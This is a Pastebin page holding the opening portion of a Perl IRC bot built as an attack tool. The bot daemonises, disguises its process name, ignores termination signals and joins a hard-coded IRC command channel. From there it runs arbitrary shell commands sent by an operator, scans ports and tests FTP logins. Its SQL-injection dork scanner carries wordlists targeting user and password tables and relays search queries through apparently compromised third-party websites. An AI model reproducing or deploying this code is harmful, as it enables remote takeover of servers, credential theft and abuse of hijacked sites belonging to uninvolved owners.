API tools faq
paste
Advertisement
Guest User

sql

a guest
Nov 9th, 2016
4,246
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 138.13 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. use DBI;
  17. use Net::FTP;
  18.  
  19. my $datetime = localtime;
  20. my $fakeproc = "/usr/sbin/rev";
  21. my $ircserver = "irc.sekip.de";
  22. my $ircport = 80;
  23. my $nickname = "SqLi";
  24. my $ident = "tools";
  25. my $channel = "#lobex";
  26. my $admin = "lobe";
  27. my $fullname = "4,1e8y14e5:D";
  28. my $rawmsg = $ARGV[4];
  29. my $msgraw = $ARGV[5];
  30.  
  31. my $nob0dy = "4,1PRIVATE52015";
  32. my $sqllogo = "4,1[5+4]3SqL 4<9=4>9";
  33.  
  34. my $sqlcmd = "!sqlx";
  35.  
  36. my $timot = 10;
  37. my $silentmode = 1;
  38.  
  39. # my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  40. sub randomagent {
  41. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  42. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  43. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  44. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  45. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  46. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  47. );
  48. my $random = $array[rand @array];
  49. return($random);
  50. }
  51. my $uagent = randomagent();
  52. my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  53. 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  54. 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  55. 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  56. 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  57. 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  58. 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  59. 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  60. 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  61. 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  62. my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  63. 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  64. 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  65. 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  66. 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  67. 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  68. my $jpath = "/wp-includes/js/thickbox/class-mail.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  69. my $jpath1 = "/class-mail.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  70. my $jack1 = "http://brunolira.com.br/wp-includes/options-header.php?q=";
  71. my $jack2 = "http://www.vatnedekkservice.no/wp-includes/options-header.php?q=";
  72. my $jack3 = "http://www.cervezaraguaney.com.ve/wp-includes/options-header.php?q=";
  73. my $jack4 = "http://intersysit.com//libraries/joomla/client/b.php?q=";
  74. my $jack5 = "http://espacioarquitectura.com.uy//libraries/joomla/event/b.php?q=";
  75. my $jack6 = "http://www.cvm.rs//libraries/joomla/client/b.php?q=";
  76. my $jack7 = "http://www.photoexpress.fr//includes/js/dtree//b.php?q=";
  77. my $engine = "AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz";
  78.  
  79. $SIG{'INT'} = 'IGNORE';
  80. $SIG{'HUP'} = 'IGNORE';
  81. $SIG{'TERM'} = 'IGNORE';
  82. $SIG{'CHLD'} = 'IGNORE';
  83. $SIG{'PS'} = 'IGNORE';
  84.  
  85. $ircserver = "$ARGV[0]" if $ARGV[0];
  86. $ircport = "$ARGV[1]" if $ARGV[1];
  87. $nickname = "$ARGV[2]" if $ARGV[2];
  88. $channel = '#'."$ARGV[3]" if $ARGV[3];
  89. $0 = "$fakeproc"."\0" x 16;
  90. my $pid = fork;
  91. exit if $pid;
  92. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  93.  
  94. our %irc_servers;
  95. our %DCC;
  96. my $dcc_sel = new IO::Select->new();
  97. $sel_client = IO::Select->new();
  98. sub sendraw {
  99. if ($#_ == '1') {
  100. my $socket = $_[0];
  101. print $socket "$_[1]\n";
  102. } else {
  103. print $IRC_cur_socket "$_[0]\n";
  104. }
  105. }
  106. sub connector {
  107. my $mynick = $_[0];
  108. my $ircserver_con = $_[1];
  109. my $ircport_con = $_[2];
  110. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  111. if (defined($IRC_socket)) {
  112. $IRC_cur_socket = $IRC_socket;
  113. $IRC_socket->autoflush(1);
  114. $sel_client->add($IRC_socket);
  115. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  116. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  117. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  118. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  119. nick("$mynick");
  120. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  121. sleep(1);}}
  122.  
  123. sub parse {
  124. my $servarg = shift;
  125. if ($servarg =~ /^PING \:(.*)/) {
  126. sendraw("PONG :$1");
  127. }
  128. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  129. if (lc($1) eq lc($mynick)) {
  130. $mynick = $4;
  131. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  132. }
  133. }
  134. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  135. nick($mynick.int(rand(5)));
  136. }
  137. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  138. $mynick = $2;
  139. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  140. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  141. sendraw("MODE $mynick +i");
  142. sendraw("MODE $mynick +Bx");
  143. # sendraw("NS id qwe123");
  144. sendraw("JOIN $channel correct");
  145. sendraw("PRIVMSG $channel :12uh uh uh");
  146. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  147. }
  148. }
  149.  
  150. my $line_temp;
  151. while( 1 ) {
  152. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  153. select(undef, undef, undef, 0.01);
  154. delete($irc_servers{''}) if (defined($irc_servers{''}));
  155. my @ready = $sel_client->can_read(0);
  156. next unless(@ready);
  157. foreach $fh (@ready) {
  158. $IRC_cur_socket = $fh;
  159. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  160. $nread = sysread($fh, $ircmsg, 4096);
  161. if ($nread == 0) {
  162. $sel_client->remove($fh);
  163.  
  164. $fh->close;
  165. delete($irc_servers{$fh});
  166. }
  167. @lines = split (/\n/, $ircmsg);
  168. $ircmsg =~ s/\r\n$//;
  169. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  170. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  171. if ($path eq $mynick) {
  172. if ($msg =~ /^PING (.*)/) {
  173. sendraw("NOTICE $nick :PING $1");
  174. }
  175. if ($msg =~ /^VERSION/) {
  176. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  177. }
  178. if ($msg =~ /^TIME/) {
  179. sendraw("NOTICE $nick :TIME ".$datetime."");
  180. }
  181. if (&isAdmin($nick) && $msg eq "!die") {
  182. &shell("$path","kill -9 $$");
  183. }
  184. if (&isAdmin($nick) && $msg eq "!killall") {
  185. &shell("$path","killall -9 perl");
  186. }
  187. if (&isAdmin($nick) && $msg eq "!reset") {
  188. sendraw("QUIT :Restarting...");
  189. }
  190. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  191. sendraw("JOIN #".$1);
  192. }
  193. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  194. sendraw("PART #".$1);
  195. }
  196. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  197. sendraw("NICK ".$1);
  198. }
  199. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  200. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  201. }
  202. if (&isAdmin($nick) && $msg !~ /^!/) {
  203. &shell("$nick","$msg");
  204. }
  205. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  206. sendraw("$rawmsg $msgraw ".$1);
  207. }
  208. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  209. sendraw("PRIVMSG $rawmsg ".$1);
  210. }
  211. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  212. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  213. }
  214. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  215. $newtimot = $1;
  216. $timot = $newtimot;
  217. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  218. }
  219. }
  220. else {
  221. if (&isAdmin($nick) && $msg eq "!die") {
  222. &shell("$path","kill -9 $$");
  223. }
  224. if (&isAdmin($nick) && $msg eq "!killall") {
  225. &shell("$path","killall -9 perl");
  226. }
  227. if (&isAdmin($nick) && $msg eq "!reset") {
  228. sendraw("QUIT :Restarting...");
  229. }
  230. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  231. sendraw("JOIN #".$1);
  232. }
  233. if (&isAdmin($nick) && $msg eq "!part") {
  234. sendraw("PART $path");
  235. }
  236. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  237. sendraw("PART #".$1);
  238. }
  239. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  240. &shell("$path","$1");
  241. }
  242. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  243. &shell("$path","$1");
  244. }
  245. if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  246. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  247. $smod = $1;
  248. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  249. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  250. &msg("$path","9,1[4!9]Silent Mode4 $silentstat !!!!");
  251. }}}
  252. ##################################################################### HELP COMMAND
  253. if ($msg=~ /^!ts/) {
  254. &msg("$path","$sqllogo Sqli Vuln Scan:4 $sqlcmd 14[dork] ");
  255. }
  256. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  257. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  258. }
  259. if (&isAdmin($nick) && $msg =~ /^!bypass/){
  260. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  261. my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";
  262. my $cekby1 = &get_content($jack1."lazada site:id");
  263. if ($cekby1 =~ /lazada.co.id/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4lost!!!"; }
  264. my $cekby2 = &get_content($jack2."lazada site:id");
  265. if ($cekby2 =~ /lazada.co.id/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4lost!!!"; }
  266. my $cekby3 = &get_content($jack3."lazada site:id");
  267. if ($cekby3 =~ /lazada.co.id/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4lost!!!"; }
  268. my $cekby4 = &get_content($jack4."lazada site:id");
  269. if ($cekby4 =~ /lazada.co.id/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4lost!!!"; }
  270. my $cekby5 = &get_content($jack5."lazada site:id");
  271. if ($cekby5 =~ /lazada.co.id/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4lost!!!"; }
  272. my $cekby6 = &get_content($jack6."lazada site:id");
  273. if ($cekby6 =~ /lazada.co.id/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4lost!!!"; }
  274. my $cekby7 = &get_content($jack7."lazada site:id");
  275. if ($cekby7 =~ /lazada.co.id/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4lost!!!"; }
  276. &msg("$path","9,1[4!9]4ByPass1=$bystats1 4ByPass2=$bystats2 4ByPass3=$bystats3 4ByPass4=$bystats4 4ByPass5=$bystats5 4ByPass6=$bystats6 4ByPass7=$bystats7")
  277. }}}
  278. ##################################################################### SCAN
  279. if ($msg =~ /^$sqlcmd\s+(.*)/) {
  280. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  281. my ($dork) = ($1);
  282. my $check = &read_dorks($dork);
  283. if ($check == 1) {
  284. &msg("$path","12$nick 4Re-scan detected"); exit;
  285. } else {
  286. &msg("$path","$sqllogo 3Search Engine Loading ...");
  287. &write_dorks($dork);
  288. &se_start($path,$dork,$engine);
  289. }
  290. }
  291. }
  292. }
  293. if ($msg=~ /\(Host\: (.+?)\) \(User\: (.+?)\) \(Pass\: (.+?)\) \(Dbname\: (.+?)\)/){
  294. my ($host,$user,$pass,$dbn) = ($1,$2,$3,$4);
  295. &dbi_connect($host,$user,$pass,$dbn,$path);
  296. }
  297. if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
  298. my $hostip= "$1";
  299. my $portsc= "$2";
  300. eval {
  301. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 5);
  302. if ($scansock) {
  303. &msg("$path","12PORT2 $hostip :12 $portsc 2Successful !");
  304. }
  305. else {
  306. &msg("$path","12PORT2 $hostip :12 $portsc 4Failed. $!");
  307. }
  308. }
  309. }
  310. if ($msg=~ /^!dns\s+(.*)/){
  311. my $toresolv = $1;
  312. if ($toresolv =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/) {
  313. $inetaton = inet_aton($toresolv);
  314. $mydns = gethostbyaddr($inetaton,AF_INET);
  315. &msg("$path", "9,1[4!9]15DNS 4<9=4>9 $toresolv 4Resolved to15 $mydns");
  316. }
  317. elsif ($toresolv =~ /([-a-zA-Z0-9\.]+)/) {
  318. @addr = gethostbyname($toresolv);
  319. @addra = map { inet_ntoa($_) } @addr[4 .. $#addr];
  320. foreach $mydns(@addra) {
  321. &msg("$path", "9,1[4!9]15DNS 4<9=4>15 $toresolv 4Resolved to9 $mydns");
  322. }
  323. }
  324. }
  325. if ($msg =~ /^!ftp\s+(.+?)\s+(.*)\s+(.*)/) {
  326. my $url = $_[0];
  327. my $host = $_[1];
  328. my $user = $_[2];
  329. my $pass = $_[3];
  330. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  331. my ($host,$user,$pass) = ($1,$2,$3);
  332. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  333. my $success = 1;
  334. eval {
  335. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  336. $success = 0 if $ftp->login($user,$pass);
  337. $ftp->quit;
  338. };
  339. if ($success == 0) {
  340. &msg("$path","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  341. } else {
  342. &msg("$path","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  343. }
  344. }
  345. }
  346. }
  347. }
  348. }
  349. for(my $c=0; $c<= $#lines; $c++) {
  350. $line = $lines[$c];
  351. $line = $line_temp.$line if ($line_temp);
  352. $line_temp = '';
  353. $line =~ s/\r$//;
  354. unless ($c == $#lines) {
  355.  
  356. parse("$line");
  357. } else {
  358. if ($#lines == 0) {
  359. parse("$line");
  360. } elsif ($lines[$c] =~ /\r$/) {
  361. parse("$line");
  362. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  363. parse("$line");
  364. } else {
  365. $line_temp = $line;
  366. }
  367. }
  368. }
  369. }
  370. }
  371.  
  372. ##################################################################################
  373.  
  374. sub se_start() {
  375. my ($chan,$dork,$engine) = @_;
  376. if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UK"); } exit; } }
  377. if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BR"); } exit; } }
  378. if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"RU"); } exit; } }
  379. if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NET"); } exit; } }
  380. if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IT"); } exit; } }
  381. if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"COM"); } exit; } }
  382. if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ORG"); } exit; } }
  383. if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"DE"); } exit; } }
  384. if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"FR"); } exit; } }
  385. if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CZ"); } exit; } }
  386. if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IR"); } exit; } }
  387. if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ME"); } exit; } }
  388. if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CL"); } exit; } }
  389. if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TW"); } exit; } }
  390. if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SE"); } exit; } }
  391. if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CA"); } exit; } }
  392. if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MX"); } exit; } }
  393. if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NL"); } exit; } }
  394. if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"DK"); } exit; } }
  395. if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"US"); } exit; } }
  396. if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"INFO"); } exit; } }
  397. if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IN"); } exit; } }
  398. if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MY"); } exit; } }
  399. if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SK"); } exit; } }
  400. if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TR"); } exit; } }
  401. if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"EDU"); } exit; } }
  402. if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NO"); } exit; } }
  403. if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TH"); } exit; } }
  404. if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ID"); } exit; } }
  405. if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PL"); } exit; } }
  406. if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AR"); } exit; } }
  407. if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ES"); } exit; } }
  408. if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"VE"); } exit; } }
  409. if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"RO"); } exit; } }
  410. if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BIZ"); } exit; } }
  411. if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CN"); } exit; } }
  412. if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KR"); } exit; } }
  413. if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ZA"); } exit; } }
  414. if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"VN"); } exit; } }
  415. if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SI"); } exit; } }
  416. if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"EU"); } exit; } }
  417. if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BE"); } exit; } }
  418. if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"HU"); } exit; } }
  419. if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"LV"); } exit; } }
  420. if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UA"); } exit; } }
  421. if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IE"); } exit; } }
  422. if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TV"); } exit; } }
  423. if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CO"); } exit; } }
  424. if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PRO"); } exit; } }
  425. if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NAME"); } exit; } }
  426. if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BY"); } exit; } }
  427. if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PH"); } exit; } }
  428. if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"JP"); } exit; } }
  429. if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AU"); } exit; } }
  430. if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CAT"); } exit; } }
  431. if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"HK"); } exit; } }
  432. if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AT"); } exit; } }
  433. if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SU"); } exit; } }
  434. if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MOBI"); } exit; } }
  435. if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ASIA"); } exit; } }
  436. if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"COOP"); } exit; } }
  437. if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MN"); } exit; } }
